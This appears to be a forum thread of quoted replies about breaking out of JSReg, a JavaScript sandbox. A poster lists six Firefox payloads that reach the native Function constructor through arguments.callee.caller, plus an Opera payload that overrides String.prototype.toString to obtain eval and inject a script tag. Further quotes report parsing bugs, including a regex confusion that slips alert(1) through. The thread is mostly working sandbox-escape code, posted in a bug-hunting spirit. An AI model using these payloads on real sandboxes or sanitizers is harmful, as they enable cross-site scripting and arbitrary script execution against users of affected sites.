Quote

you call, I execute. :)

== Firefox:
6 examples for the same concept: use constructor with nested call
abusing caller to get Function native reference.

1.
try{
throw Error
}catch(e){ e.constructor(
{ toString:function(){alert(arguments.callee.caller("alert(window)")())}} ) }

2.
Error.constructor({toString:function(){arguments.callee.caller("alert(window)")()}});

3.
(2222..toString).constructor({toString:function(){arguments.callee.caller("alert(window)")()}})

4.
({}.toString).constructor({toString:function(){alert(arguments.callee.caller("alert(window)")())}})

5.
(Object).constructor({toString:function(){alert(arguments.callee.caller)}})

6.
ts={toString:function(){arguments.callee.caller.toString=function(){ arguments.callee.caller("alert(window)")()};Function(arguments.callee.caller)}};
ts in [this]

== Opera:
Different concept, this time prototype native objects and rewrite of
toString with a try{}catch(){} block returning always eval until is
executed with the real one.

String.prototype.toString=function(){
try{
return "eval";
}catch(e){}
}
s=new String();
eval(s+"")('document.write("<script>alert(location)</script>")');

Explorer:
Can't find anything cause it sucks :D (Hey MS, joking :P)

It was a pleasure playing around with JSreg.

Keep up good work and cheers!
Stefano

Quote

({ toString: 1 }).hasOwnProperty('toString'); // false, should be true

Quote

[1,2]['length']; // 1, should be 2

Quote

Object.prototype.toString.call(function(){});

/[/*]*//1*alert(1)//[^/*]*/

Description:Syntax error
Msg:unterminated regular expression literal
//1*alert(1)//[^/*]*/
Line:-1

Quote

var o = { x: 1 };
for (var p in o) alert(p); // alerts "JSREG_ITEM"

Quote

({})[/\u0027/];